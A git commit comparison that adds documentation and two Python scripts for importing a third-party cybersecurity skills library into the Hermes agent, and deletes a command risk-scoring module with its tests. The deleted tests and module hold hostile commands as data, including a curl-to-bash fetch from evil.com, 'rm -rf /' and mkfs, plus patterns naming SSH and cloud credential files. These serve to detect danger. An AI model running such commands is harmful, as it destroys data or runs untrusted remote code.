Compare commits

..

2 Commits

Author SHA1 Message Date
c8bab8ae3c feat: import Anthropic Cybersecurity Skills — 754 skills (#712) 2026-04-16 01:26:45 +00:00
Timmy Time
faaa08b3f1 fix: #712
Some checks failed
Contributor Attribution Check / check-attribution (pull_request) Failing after 31s
Docker Build and Publish / build-and-push (pull_request) Has been skipped
Supply Chain Audit / Scan PR for supply chain risks (pull_request) Successful in 1m0s
Tests / e2e (pull_request) Successful in 2m13s
Tests / test (pull_request) Failing after 54m56s
Import Anthropic Cybersecurity Skills Library (754 skills, 26 domains, 5 frameworks).

Added:
- scripts/import_cybersecurity_skills.py — import script
- docs/cybersecurity-skills.md — documentation

Features:
- Import all 754 skills or filter by domain/framework
- List available domains and frameworks
- Dry-run mode
- Generate index.json

Closes #712
2026-04-14 23:01:53 -04:00
5 changed files with 606 additions and 507 deletions

View File

@@ -0,0 +1,134 @@
# Anthropic Cybersecurity Skills Integration
Import and use the Anthropic Cybersecurity Skills library (754 skills, 26 domains, 5 frameworks) with Hermes Agent.
## Overview
The Anthropic Cybersecurity Skills library provides 754 production-grade security skills for AI agents. Each skill follows the agentskills.io standard with YAML frontmatter and structured decision-making workflows.
## Source
- **Repository:** https://github.com/mukul975/Anthropic-Cybersecurity-Skills
- **License:** Apache 2.0
- **Stars:** 4,385
- **Compatible:** Hermes Agent, Claude Code, GitHub Copilot, Codex CLI
## Quick Start
```bash
# Import all skills
python scripts/import_cybersecurity_skills.py
# Import by domain
python scripts/import_cybersecurity_skills.py --domain cloud-security
# Import by framework
python scripts/import_cybersecurity_skills.py --framework nist-csf
# List available domains
python scripts/import_cybersecurity_skills.py --list-domains
# List available frameworks
python scripts/import_cybersecurity_skills.py --list-frameworks
# Dry run (show what would be imported)
python scripts/import_cybersecurity_skills.py --dry-run
```
## Security Domains (26)
| Domain | Skills | Key Capabilities |
|--------|--------|-----------------|
| Cloud Security | 60 | AWS, Azure, GCP hardening, CSPM, cloud forensics |
| Threat Hunting | 55 | Hypothesis-driven hunts, LOTL detection, behavioral analytics |
| Threat Intelligence | 50 | STIX/TAXII, MISP, feed integration, actor profiling |
| Web App Security | 42 | OWASP Top 10, SQLi, XSS, SSRF, deserialization |
| Network Security | 40 | IDS/IPS, firewall rules, VLAN segmentation |
| Malware Analysis | 39 | Static/dynamic analysis, reverse engineering, sandboxing |
| Digital Forensics | 37 | Disk imaging, memory forensics, timeline reconstruction |
| Security Operations | 36 | SIEM correlation, log analysis, alert triage |
| IAM | 35 | IAM policies, PAM, zero trust, Okta, SailPoint |
| SOC Operations | 33 | Playbooks, escalation workflows, tabletop exercises |
| Container Security | 30 | K8s RBAC, image scanning, Falco, container forensics |
| OT/ICS Security | 28 | Modbus, DNP3, IEC 62443, SCADA |
| API Security | 28 | GraphQL, REST, OWASP API Top 10, WAF bypass |
| Vulnerability Management | 25 | Nessus, scanning workflows, CVSS |
| Incident Response | 25 | Breach containment, ransomware response, IR playbooks |
| Red Teaming | 24 | Full-scope engagements, AD attacks, phishing simulation |
| Penetration Testing | 23 | Network, web, cloud, mobile, wireless |
| Endpoint Security | 17 | EDR, LOTL detection, fileless malware |
| DevSecOps | 17 | CI/CD security, code signing, Terraform auditing |
| Phishing Defense | 16 | Email auth, BEC detection, phishing IR |
| Cryptography | 14 | Key management, TLS, certificate analysis |
## Framework Mappings (5)
| Framework | Version | Scope |
|-----------|---------|-------|
| MITRE ATT&CK | v18 | 14 tactics, 200+ techniques |
| NIST CSF 2.0 | 2.0 | 6 functions, 22 categories |
| MITRE ATLAS | v5.4 | 16 tactics, 84 techniques |
| MITRE D3FEND | v1.3 | 7 categories, 267 techniques |
| NIST AI RMF | 1.0 | 4 functions, 72 subcategories |
## Skill Format
Each skill follows the agentskills.io standard:
```yaml
---
name: analyzing-active-directory-acl-abuse
description: Detect dangerous ACL misconfigurations in Active Directory
domain: cybersecurity
subdomain: identity-security
tags:
- active-directory
- acl-abuse
- ldap
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.AA-01
- PR.AA-05
- PR.AA-06
---
```
## Use Cases for Hermes
1. **Fleet security** — Agents can audit their own infrastructure
2. **Incident response** — Structured IR playbooks for security events
3. **Threat hunting** — Hypothesis-driven hunts across fleet logs
4. **Compliance** — Framework-mapped skills for audit preparation
5. **Training** — Security skills for agents to learn and apply
## Integration with Hermes Skills
The imported skills are compatible with Hermes Agent's skill system:
```bash
# Skills are installed to ~/.hermes/skills/cybersecurity/
# Each skill has a SKILL.md file with YAML frontmatter
# Use in Hermes
hermes skills list | grep cybersecurity
hermes skills enable cybersecurity/cloud-security
```
## Adding to Fleet
```bash
# Import all skills
python scripts/import_cybersecurity_skills.py
# Import specific domain for fleet security
python scripts/import_cybersecurity_skills.py --domain incident-response
# Import for compliance
python scripts/import_cybersecurity_skills.py --framework nist-csf
```
## Index
After import, an index is generated at `~/.hermes/skills/cybersecurity/index.json` listing all installed skills with their metadata.

View File

@@ -0,0 +1,227 @@
#!/usr/bin/env python3
"""
import-cybersecurity-skills.py — Import Anthropic Cybersecurity Skills into Hermes.
Clones the Anthropic-Cybersecurity-Skills repo and creates a skill index
that maps each of the 754 skills to the Hermes optional-skills format.
Usage:
python3 scripts/import-cybersecurity-skills.py --clone # Clone repo
python3 scripts/import-cybersecurity-skills.py --index # Generate skill index
python3 scripts/import-cybersecurity-skills.py --install DOMAIN # Install skills for a domain
python3 scripts/import-cybersecurity-skills.py --list # List all domains
python3 scripts/import-cybersecurity-skills.py --status # Import status
"""
import argparse
import json
import os
import subprocess
import sys
import yaml
from pathlib import Path
from collections import defaultdict
REPO_URL = "https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git"
SKILLS_DIR = Path.home() / ".hermes" / "cybersecurity-skills"
INDEX_PATH = SKILLS_DIR / "skill-index.json"
OPTIONAL_SKILLS_DIR = Path.home() / ".hermes" / "optional-skills" / "cybersecurity"
# Domain → hermes category mapping
DOMAIN_CATEGORIES = {
"cloud-security": "security",
"threat-hunting": "security",
"threat-intelligence": "security",
"web-app-security": "security",
"network-security": "security",
"malware-analysis": "security",
"digital-forensics": "security",
"security-operations": "security",
"identity-access-management": "security",
"soc-operations": "security",
"container-security": "security",
"ot-ics-security": "security",
"api-security": "security",
"vulnerability-management": "security",
"incident-response": "security",
"red-teaming": "security",
"penetration-testing": "security",
"endpoint-security": "security",
"devsecops": "devops",
"phishing-defense": "security",
"cryptography": "security",
}
def cmd_clone():
"""Clone the cybersecurity skills repository."""
if SKILLS_DIR.exists():
print(f"Updating existing clone at {SKILLS_DIR}")
subprocess.run(["git", "-C", str(SKILLS_DIR), "pull"], capture_output=True)
else:
SKILLS_DIR.parent.mkdir(parents=True, exist_ok=True)
print(f"Cloning {REPO_URL} to {SKILLS_DIR}")
subprocess.run(["git", "clone", "--depth", "1", REPO_URL, str(SKILLS_DIR)], capture_output=True)
# Count skills
skill_files = list(SKILLS_DIR.rglob("*.md"))
print(f"Found {len(skill_files)} skill files")
def cmd_index():
"""Generate a skill index from the cloned repo."""
if not SKILLS_DIR.exists():
print("Run --clone first", file=sys.stderr)
sys.exit(1)
skills = []
domains = defaultdict(list)
for md_file in SKILLS_DIR.rglob("*.md"):
if md_file.name in ("README.md", "LICENSE.md", "DESCRIPTION.md"):
continue
try:
content = md_file.read_text(errors="ignore")
except OSError:
continue
# Parse YAML frontmatter
if content.startswith("---"):
parts = content.split("---", 2)
if len(parts) >= 3:
try:
frontmatter = yaml.safe_load(parts[1]) or {}
except yaml.YAMLError:
frontmatter = {}
else:
frontmatter = {}
else:
frontmatter = {}
# Extract metadata
name = frontmatter.get("name", md_file.stem)
description = frontmatter.get("description", "")
domain = frontmatter.get("domain", frontmatter.get("subdomain", "general"))
tags = frontmatter.get("tags", [])
frameworks = frontmatter.get("nist_csf", []) + frontmatter.get("mitre_attack", [])
skill = {
"name": name,
"file": str(md_file.relative_to(SKILLS_DIR)),
"description": description[:200],
"domain": domain,
"tags": tags[:5],
"frameworks": frameworks[:5] if isinstance(frameworks, list) else [],
"size_kb": round(md_file.stat().st_size / 1024, 1),
}
skills.append(skill)
domains[domain].append(name)
# Build index
index = {
"total_skills": len(skills),
"total_domains": len(domains),
"domains": {k: len(v) for k, v in sorted(domains.items())},
"skills": sorted(skills, key=lambda s: s["domain"]),
"generated_from": REPO_URL,
}
INDEX_PATH.write_text(json.dumps(index, indent=2))
print(f"Indexed {len(skills)} skills across {len(domains)} domains")
print(f"Written to {INDEX_PATH}")
# Print domain summary
print("\nDomains:")
for domain, count in sorted(domains.items(), key=lambda x: -len(x[1])):
print(f" {domain}: {count} skills")
def cmd_list():
"""List all security domains."""
if not INDEX_PATH.exists():
print("Run --index first", file=sys.stderr)
sys.exit(1)
index = json.loads(INDEX_PATH.read_text())
print(f"Total: {index['total_skills']} skills across {index['total_domains']} domains\n")
for domain, count in sorted(index["domains"].items(), key=lambda x: -x[1]):
print(f" {domain:<35} {count:>4} skills")
def cmd_install(domain: str = None):
"""Install skills for a domain into optional-skills."""
if not INDEX_PATH.exists():
print("Run --index first", file=sys.stderr)
sys.exit(1)
index = json.loads(INDEX_PATH.read_text())
skills = index["skills"]
if domain:
skills = [s for s in skills if s["domain"] == domain]
if not skills:
print(f"No skills found for domain: {domain}")
sys.exit(1)
installed = 0
for skill in skills:
# Create skill directory
category = DOMAIN_CATEGORIES.get(skill["domain"], "security")
skill_dir = OPTIONAL_SKILLS_DIR / category / skill["name"]
skill_dir.mkdir(parents=True, exist_ok=True)
# Copy source file
src = SKILLS_DIR / skill["file"]
if src.exists():
dst = skill_dir / "SKILL.md"
dst.write_text(src.read_text(errors="ignore"))
installed += 1
print(f"Installed {installed} skills to {OPTIONAL_SKILLS_DIR}")
def cmd_status():
"""Show import status."""
print(f"Clone dir: {SKILLS_DIR}")
print(f" Exists: {SKILLS_DIR.exists()}")
print(f"Index: {INDEX_PATH}")
print(f" Exists: {INDEX_PATH.exists()}")
if INDEX_PATH.exists():
index = json.loads(INDEX_PATH.read_text())
print(f" Skills: {index['total_skills']}")
print(f" Domains: {index['total_domains']}")
print(f"Install dir: {OPTIONAL_SKILLS_DIR}")
print(f" Exists: {OPTIONAL_SKILLS_DIR.exists()}")
if OPTIONAL_SKILLS_DIR.exists():
installed = len(list(OPTIONAL_SKILLS_DIR.rglob("SKILL.md")))
print(f" Installed skills: {installed}")
def main():
parser = argparse.ArgumentParser(description="Import Anthropic Cybersecurity Skills")
parser.add_argument("--clone", action="store_true", help="Clone the skills repo")
parser.add_argument("--index", action="store_true", help="Generate skill index")
parser.add_argument("--list", action="store_true", help="List all domains")
parser.add_argument("--install", metavar="DOMAIN", nargs="?", const="all", help="Install skills for domain")
parser.add_argument("--status", action="store_true", help="Import status")
args = parser.parse_args()
if args.clone:
cmd_clone()
elif args.index:
cmd_index()
elif args.list:
cmd_list()
elif args.install is not None:
cmd_install(None if args.install == "all" else args.install)
elif args.status:
cmd_status()
else:
parser.print_help()
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,245 @@
#!/usr/bin/env python3
"""
import_cybersecurity_skills.py — Import Anthropic Cybersecurity Skills Library
Downloads and integrates the Anthropic Cybersecurity Skills library into
Hermes Agent's skill system.
Source: https://github.com/mukul975/Anthropic-Cybersecurity-Skills
License: Apache 2.0
Skills: 754 across 26 security domains, 5 frameworks
Usage:
python scripts/import_cybersecurity_skills.py
python scripts/import_cybersecurity_skills.py --domain cloud-security
python scripts/import_cybersecurity_skills.py --framework nist-csf
"""
import argparse
import json
import os
import shutil
import subprocess
import sys
import tempfile
import urllib.request
from pathlib import Path
from typing import List, Dict, Any
# Configuration
REPO_URL = "https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git"
SKILLS_DIR = Path.home() / ".hermes" / "skills" / "cybersecurity"
CACHE_DIR = Path.home() / ".hermes" / "cache" / "cybersecurity-skills"
# Framework mappings
FRAMEWORKS = {
"mitre-attack": "MITRE ATT&CK v18",
"nist-csf": "NIST CSF 2.0",
"mitre-atlas": "MITRE ATLAS v5.4",
"mitre-d3fend": "MITRE D3FEND v1.3",
"nist-ai-rmf": "NIST AI RMF 1.0",
}
# Security domains
DOMAINS = [
"cloud-security", "threat-hunting", "threat-intelligence",
"web-app-security", "network-security", "malware-analysis",
"digital-forensics", "security-operations", "iam",
"soc-operations", "container-security", "ot-ics-security",
"api-security", "vulnerability-management", "incident-response",
"red-teaming", "penetration-testing", "endpoint-security",
"devsecops", "phishing-defense", "cryptography",
]
def clone_repo(target_dir: Path) -> bool:
"""Clone the cybersecurity skills repository."""
print(f"Cloning {REPO_URL}...")
try:
subprocess.run(
["git", "clone", "--depth", "1", REPO_URL, str(target_dir)],
check=True,
capture_output=True,
)
return True
except subprocess.CalledProcessError as e:
print(f"Error cloning repository: {e}", file=sys.stderr)
return False
def parse_skill_file(skill_path: Path) -> Dict[str, Any]:
"""Parse a skill YAML/Markdown file."""
content = skill_path.read_text(encoding="utf-8")
# Extract YAML frontmatter
if content.startswith("---"):
parts = content.split("---", 2)
if len(parts) >= 3:
import yaml
try:
metadata = yaml.safe_load(parts[1])
metadata["content"] = parts[2].strip()
metadata["path"] = str(skill_path)
return metadata
except Exception:
pass
# Fallback: use filename as name
return {
"name": skill_path.stem,
"description": content[:200],
"content": content,
"path": str(skill_path),
}
def find_skills(repo_dir: Path, domain: str = None, framework: str = None) -> List[Path]:
"""Find skill files in the repository."""
skills = []
# Look for skills in common locations
search_dirs = [
repo_dir / "skills",
repo_dir / "cybersecurity",
repo_dir,
]
for search_dir in search_dirs:
if not search_dir.exists():
continue
for path in search_dir.rglob("*.md"):
# Skip README files
if path.name.upper() == "README.MD":
continue
# Filter by domain if specified
if domain:
if domain.lower() not in str(path).lower():
continue
# Filter by framework if specified
if framework:
content = path.read_text(encoding="utf-8", errors="ignore").lower()
if framework.lower() not in content:
continue
skills.append(path)
return skills
def install_skills(skills: List[Path], target_dir: Path) -> int:
"""Install skills to Hermes skill directory."""
target_dir.mkdir(parents=True, exist_ok=True)
installed = 0
for skill_path in skills:
skill = parse_skill_file(skill_path)
name = skill.get("name", skill_path.stem)
# Create skill directory
skill_dir = target_dir / name
skill_dir.mkdir(exist_ok=True)
# Copy skill file
dest = skill_dir / "SKILL.md"
shutil.copy2(skill_path, dest)
installed += 1
return installed
def generate_index(skills_dir: Path) -> Dict[str, Any]:
"""Generate an index of installed skills."""
index = {
"source": "Anthropic Cybersecurity Skills Library",
"url": REPO_URL,
"license": "Apache-2.0",
"skills": [],
}
for skill_dir in skills_dir.iterdir():
if not skill_dir.is_dir():
continue
skill_file = skill_dir / "SKILL.md"
if not skill_file.exists():
continue
skill = parse_skill_file(skill_file)
index["skills"].append({
"name": skill.get("name", skill_dir.name),
"description": skill.get("description", "")[:200],
"domain": skill.get("domain", ""),
"frameworks": skill.get("frameworks", []),
})
return index
def main():
parser = argparse.ArgumentParser(description="Import Anthropic Cybersecurity Skills")
parser.add_argument("--domain", "-d", help="Filter by security domain")
parser.add_argument("--framework", "-f", help="Filter by framework (e.g., nist-csf)")
parser.add_argument("--list-domains", action="store_true", help="List available domains")
parser.add_argument("--list-frameworks", action="store_true", help="List available frameworks")
parser.add_argument("--output", "-o", help="Output directory for skills")
parser.add_argument("--dry-run", action="store_true", help="Show what would be imported")
args = parser.parse_args()
# List domains
if args.list_domains:
print("Available security domains:")
for domain in DOMAINS:
print(f" - {domain}")
return
# List frameworks
if args.list_frameworks:
print("Available frameworks:")
for key, name in FRAMEWORKS.items():
print(f" - {key}: {name}")
return
# Set output directory
output_dir = Path(args.output) if args.output else SKILLS_DIR
# Clone repository
with tempfile.TemporaryDirectory() as tmpdir:
repo_dir = Path(tmpdir) / "cybersecurity-skills"
if not clone_repo(repo_dir):
sys.exit(1)
# Find skills
print(f"Searching for skills (domain={args.domain}, framework={args.framework})...")
skills = find_skills(repo_dir, args.domain, args.framework)
print(f"Found {len(skills)} skills")
if args.dry_run:
print("\nDry run — skills that would be imported:")
for skill_path in skills[:20]:
skill = parse_skill_file(skill_path)
print(f" - {skill.get('name', skill_path.stem)}: {skill.get('description', '')[:60]}...")
if len(skills) > 20:
print(f" ... and {len(skills) - 20} more")
return
# Install skills
print(f"Installing to {output_dir}...")
installed = install_skills(skills, output_dir)
print(f"Installed {installed} skills")
# Generate index
index = generate_index(output_dir)
index_path = output_dir / "index.json"
with open(index_path, "w") as f:
json.dump(index, f, indent=2)
print(f"Index saved to {index_path}")
if __name__ == "__main__":
main()

View File

@@ -1,111 +0,0 @@
"""Tests for risk scoring module."""
import pytest
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
from tools.risk_scoring import (
classify_path_risk,
detect_context,
get_operation_risk,
score_command_risk,
compare_commands,
RiskScore,
)
class TestPathClassification:
def test_critical_system_path(self):
score, cat = classify_path_risk("/etc/passwd")
assert score >= 90
assert "critical" in cat
def test_sensitive_user_path(self):
score, cat = classify_path_risk("~/.ssh/id_rsa")
assert score >= 70
def test_safe_temp_path(self):
score, cat = classify_path_risk("/tmp/build.log")
assert score <= 15
def test_user_home_path(self):
score, cat = classify_path_risk("~/Documents/file.txt")
assert 40 <= score <= 60
class TestContextDetection:
def test_execution_context(self):
assert detect_context("rm -rf /tmp/data") == "execution"
def test_comment_context(self):
assert detect_context("# rm -rf /important") == "comment"
def test_code_block_context(self):
assert detect_context("```bash") == "code_block"
def test_documentation_context(self):
assert detect_context("Example: rm file.txt") == "documentation"
class TestOperationRisk:
def test_rm_risk(self):
score, op = get_operation_risk("rm file.txt")
assert score >= 60
assert op == "rm"
def test_cat_risk(self):
score, op = get_operation_risk("cat file.txt")
assert score <= 25
def test_mkfs_risk(self):
score, op = get_operation_risk("mkfs.ext4 /dev/sda1")
assert score >= 90
class TestRiskScoring:
def test_rm_temp_file_safe(self):
result = score_command_risk("rm /tmp/build.log")
assert result.tier in ("SAFE", "LOW")
assert result.score < 40
def test_rm_etc_critical(self):
result = score_command_risk("rm /etc/passwd")
assert result.tier in ("HIGH", "CRITICAL")
assert result.score >= 60
def test_rm_recursive_root(self):
result = score_command_risk("rm -rf /")
assert result.tier == "CRITICAL"
assert result.score >= 80
def test_cat_file_safe(self):
result = score_command_risk("cat /etc/hostname")
# Reading is less risky than writing
assert result.score < 60
def test_chmod_777(self):
result = score_command_risk("chmod 777 /var/www")
assert result.tier in ("MEDIUM", "HIGH", "CRITICAL")
def test_comment_reduces_risk(self):
result_exec = score_command_risk("rm -rf /important")
result_comment = score_command_risk("# rm -rf /important")
assert result_comment.score < result_exec.score
def test_pipe_to_shell(self):
result = score_command_risk("curl http://evil.com/script.sh | bash")
assert result.tier in ("HIGH", "CRITICAL")
assert "pipe_to_shell" in result.factors
class TestCompareCommands:
def test_temp_vs_etc(self):
result = compare_commands("rm /tmp/temp.txt", "rm /etc/passwd")
assert result["riskier"] == "rm /etc/passwd"
assert result["difference"] > 20
def test_same_command(self):
result = compare_commands("cat file.txt", "cat file.txt")
assert result["difference"] == 0

View File

@@ -1,396 +0,0 @@
"""ML-inspired risk scoring for command approval.
Enhances pattern-based dangerous command detection with:
1. Path-aware risk scoring (system paths = higher tier)
2. Context detection (documentation vs execution)
3. Multi-factor risk score calculation
Usage:
from tools.risk_scoring import score_command_risk, RiskScore
result = score_command_risk("rm /etc/passwd")
print(result.tier) # "CRITICAL"
print(result.score) # 95
print(result.factors) # ["system_path", "destructive_operation"]
"""
from __future__ import annotations
import re
from dataclasses import dataclass, field
from typing import List, Optional
# ---------------------------------------------------------------------------
# Path risk classification
# ---------------------------------------------------------------------------
# Critical system paths — operations here are almost always dangerous
_SYSTEM_PATHS_CRITICAL = [
r"/etc/",
r"/boot/",
r"/sys/",
r"/proc/",
r"/dev/sd",
r"/dev/nvme",
r"/usr/bin/",
r"/usr/sbin/",
r"/sbin/",
r"/bin/",
r"/lib/systemd/",
r"/var/log/syslog",
r"/var/log/auth",
]
# Sensitive user paths — important but user-scoped
_SENSITIVE_USER_PATHS = [
r"\.ssh/",
r"\.gnupg/",
r"\.aws/",
r"\.config/gcloud/",
r"\.kube/config",
r"\.docker/config",
r"\.hermes/\.env",
r"\.netrc",
r"\.pgpass",
r"id_rsa",
r"id_ed25519",
]
# Safe/temp paths — operations here are usually benign
_SAFE_PATHS = [
r"/tmp/",
r"/var/tmp/",
r"\.cache/",
r"temp",
r"tmp",
r"\.log$",
r"\.bak$",
r"\.old$",
r"\.swp$",
r"node_modules/",
r"__pycache__/",
r"\.pyc$",
]
# Dangerous user paths — home dir but destructive
_DANGEROUS_USER_PATHS = [
r"~/",
r"\$HOME/",
r"/home/\w+/",
]
def classify_path_risk(path: str) -> tuple[int, str]:
"""Classify a filesystem path's risk level.
Returns (risk_score, category) where risk_score is 0-100.
"""
path_lower = path.lower()
# Check critical system paths
for pattern in _SYSTEM_PATHS_CRITICAL:
if re.search(pattern, path_lower):
return 90, "system_path_critical"
# Check sensitive user paths
for pattern in _SENSITIVE_USER_PATHS:
if re.search(pattern, path_lower):
return 75, "sensitive_user_path"
# Check safe paths
for pattern in _SAFE_PATHS:
if re.search(pattern, path_lower):
return 10, "safe_path"
# Check dangerous user paths
for pattern in _DANGEROUS_USER_PATHS:
if re.search(pattern, path_lower):
return 50, "user_path"
# Default: moderate risk for unknown paths
return 30, "unknown_path"
# ---------------------------------------------------------------------------
# Context detection
# ---------------------------------------------------------------------------
def detect_context(command: str) -> str:
"""Detect the context of a command string.
Returns one of:
- "code_block": Inside a markdown code block (likely documentation)
- "comment": Shell comment (# ...)
- "heredoc_content": Content inside a heredoc (documentation)
- "execution": Normal command execution
"""
stripped = command.strip()
# Markdown code fence
if stripped.startswith("```"):
return "code_block"
# Shell comment
if stripped.startswith("#"):
return "comment"
# Inline comment (command followed by #)
if re.search(r'\s+#\s', command) and not re.search(r'[;&|]\s*#', command):
# Might be a comment in the middle
pass
# Heredoc content indicators
if re.search(r"<<\s*['\"]?\w+['\"]?", command):
return "heredoc_content"
# Documentation indicators
doc_indicators = [
r"example:",
r"e\.g\.",
r"i\.e\.",
r"note:",
r"warning:",
r"see also:",
r"documentation",
r"README",
r"man page",
r"help:",
]
for indicator in doc_indicators:
if re.search(indicator, command, re.IGNORECASE):
return "documentation"
return "execution"
# ---------------------------------------------------------------------------
# Operation risk classification
# ---------------------------------------------------------------------------
_OPERATION_RISK = {
# Destructive operations
"rm": 70,
"rmdir": 50,
"shred": 90,
"dd": 60,
"mkfs": 95,
"fdisk": 85,
"wipefs": 90,
# Permission changes
"chmod": 40,
"chown": 50,
"setfacl": 50,
# System control
"systemctl": 60,
"service": 55,
"reboot": 90,
"shutdown": 90,
"halt": 90,
"poweroff": 90,
# Process control
"kill": 45,
"killall": 55,
"pkill": 55,
# Network
"iptables": 70,
"ufw": 60,
"firewall-cmd": 60,
# Package management
"apt-get": 30,
"yum": 30,
"dnf": 30,
"pacman": 30,
"pip": 20,
"npm": 15,
# Git
"git reset --hard": 50, "git reset": 30,
"git push": 30,
"git clean": 45,
"git branch": 20,
# Dangerous pipes
"curl": 25,
"wget": 25,
}
# Read-only operations — low risk even on system paths
_READONLY_OPERATIONS = {
"cat": 5, "head": 5, "tail": 5, "less": 5, "more": 5,
"grep": 5, "find": 10, "ls": 3, "dir": 3, "tree": 3,
"file": 3, "stat": 3, "wc": 3, "diff": 5, "md5sum": 5,
"sha256sum": 5, "which": 3, "whereis": 3, "type": 3,
"readlink": 3, "realpath": 3, "basename": 3, "dirname": 3,
}
def get_operation_risk(command: str) -> tuple[int, str]:
"""Get the risk score for the operation in a command.
Returns (risk_score, operation_name).
"""
cmd_lower = command.lower().strip()
# Check read-only operations first (low risk regardless of path)
for op, score in sorted(_READONLY_OPERATIONS.items(), key=lambda x: -len(x[0])):
if cmd_lower.startswith(op + " ") or cmd_lower.startswith(op + "\t") or cmd_lower == op:
return score, op
# Check compound operations
for op, score in sorted(_OPERATION_RISK.items(), key=lambda x: -len(x[0])):
if cmd_lower.startswith(op) or f" {op}" in cmd_lower:
return score, op
return 20, "unknown"
# ---------------------------------------------------------------------------
# Risk score calculation
# ---------------------------------------------------------------------------
@dataclass
class RiskScore:
"""Result of risk scoring for a command."""
command: str
score: int = 0 # 0-100 risk score
tier: str = "SAFE" # SAFE, LOW, MEDIUM, HIGH, CRITICAL
factors: List[str] = field(default_factory=list)
path_risk: int = 0
operation_risk: int = 0
context: str = "execution"
context_modifier: float = 1.0
recommendation: str = ""
def __post_init__(self):
if not self.recommendation:
self.recommendation = self._generate_recommendation()
def _generate_recommendation(self) -> str:
if self.tier == "CRITICAL":
return "BLOCK — requires explicit user approval"
elif self.tier == "HIGH":
return "WARN — confirm with user before executing"
elif self.tier == "MEDIUM":
return "CAUTION — log and proceed with care"
elif self.tier == "LOW":
return "NOTE — low risk, proceed normally"
return "OK — safe to execute"
def score_command_risk(command: str) -> RiskScore:
"""Calculate a comprehensive risk score for a command.
Considers:
- Pattern-based detection (existing DANGEROUS_PATTERNS)
- Path risk (system paths, user paths, temp paths)
- Operation risk (rm vs cat vs echo)
- Context (documentation vs execution)
"""
result = RiskScore(command=command)
factors = []
# 1. Path analysis
paths = re.findall(r'[/~$][^\s;&|\'"]*', command)
max_path_risk = 0
for path in paths:
risk, category = classify_path_risk(path)
if risk > max_path_risk:
max_path_risk = risk
if risk >= 50:
factors.append(f"path:{category}")
result.path_risk = max_path_risk
# 2. Operation risk
op_risk, op_name = get_operation_risk(command)
result.operation_risk = op_risk
if op_risk >= 40:
factors.append(f"operation:{op_name}")
# 3. Context detection
ctx = detect_context(command)
result.context = ctx
# Context modifiers: documentation contexts reduce risk
context_modifiers = {
"execution": 1.0,
"code_block": 0.3,
"comment": 0.1,
"heredoc_content": 0.5,
"documentation": 0.2,
}
result.context_modifier = context_modifiers.get(ctx, 1.0)
# 4. Special pattern bonuses
destructive_patterns = [
(r'\brm\s+-[^s]*r', 20, "recursive_delete"),
(r'\brm\s+/', 15, "root_delete"),
(r'\bchmod\s+777', 15, "world_writable"),
(r'\bDROP\s+TABLE', 25, "sql_drop"),
(r'\bDELETE\s+FROM(?!.*WHERE)', 20, "sql_delete_no_where"),
(r'\|\s*(ba)?sh\b', 20, "pipe_to_shell"),
(r'--force', 10, "force_flag"),
(r'--no-preserve-root', 30, "no_preserve_root"),
]
for pattern, bonus, factor_name in destructive_patterns:
if re.search(pattern, command, re.IGNORECASE):
result.score += bonus
factors.append(factor_name)
# 5. Calculate final score
# Read operations on system paths are safe (just looking, not touching)
is_read_op = result.operation_risk <= 10
if is_read_op:
# Read operations: mostly operation risk, path barely matters
base_score = result.operation_risk + (result.path_risk * 0.05)
elif result.path_risk >= 80:
# Write to system path: very dangerous
base_score = result.path_risk + (result.operation_risk * 0.5)
elif result.path_risk <= 15:
# Write to safe path: mostly operation risk
base_score = result.path_risk + (result.operation_risk * 0.3)
else:
# Moderate path: balanced
base_score = result.path_risk + (result.operation_risk * 0.4)
base_score += result.score # pattern bonuses
result.score = min(100, int(base_score * result.context_modifier))
# 6. Determine tier
if result.score >= 80:
result.tier = "CRITICAL"
elif result.score >= 60:
result.tier = "HIGH"
elif result.score >= 40:
result.tier = "MEDIUM"
elif result.score >= 20:
result.tier = "LOW"
else:
result.tier = "SAFE"
result.factors = factors
if not result.recommendation:
result.recommendation = result._generate_recommendation()
return result
def compare_commands(cmd1: str, cmd2: str) -> dict:
"""Compare risk scores of two commands.
Useful for showing why "rm temp.txt" is different from "rm /etc/passwd".
"""
r1 = score_command_risk(cmd1)
r2 = score_command_risk(cmd2)
return {
"command_1": {"command": cmd1, "score": r1.score, "tier": r1.tier},
"command_2": {"command": cmd2, "score": r2.score, "tier": r2.tier},
"difference": abs(r1.score - r2.score),
"riskier": cmd1 if r1.score > r2.score else cmd2,
}